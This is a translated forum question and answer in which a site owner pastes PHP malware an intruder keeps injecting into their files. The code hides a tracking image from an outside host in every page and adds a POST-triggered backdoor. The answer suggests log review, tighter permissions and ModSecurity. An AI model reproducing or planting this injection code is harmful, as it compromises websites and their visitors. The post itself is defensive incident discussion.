Tente verificar esta solução:
Espero que isso ajude.
A questão é essa. Há algum vazamento em algum lugar no meu site que permite que alguém edite arquivos arbitrariamente (ou ele tenha acesso a FTP / SHH, mas eu não ver isso nos logs).
Ele continua injetando esse código em diferentes arquivos PHP:
<?php
//{{27460aba
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function outputxxx_callback($str)
{
$links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="g34dae82b267843a194c001f72"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82b267843a194c001f72&p=1&a=%3CR%C6%8E0%14%00M%049%F2%1F%D5%A2e%A8%84%A2%90%7B%AB%D0t%A3F%B7%BEi%D5%9B%D5%FD"></div></SPAN>';preg_match("|</body>|si",$str,$arr);
return str_replace($arr[0],$links.$arr[0],$str);
}
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
else
ob_start('outputxxx_callback');
error_reporting($olderrxxx);
}
//}}42011069
?>
Este parece ser um script de acompanhamento. Mas a minha pergunta é, posso de alguma forma definir um tripwire através do SSH (eu sou root) que ativa quando alguém tenta editar alguns arquivos? Eu quero arrebentar esse cara (ou garota) e encontrar o vazamento.
Observe o registro de data e hora do arquivo modificado e, em seguida, examine seus logs do Apache para as entradas nessa janela de tempo. Isso deve lhe dar uma ideia do vetor. Verifique as permissões em seu conteúdo e certifique-se de que o usuário do Apache não possa gravar em nada, a menos que seja absolutamente necessário. O ModSecurity também é muito útil para evitar esse tipo de ataque; no entanto, você precisa entender como seus aplicativos da web funcionam.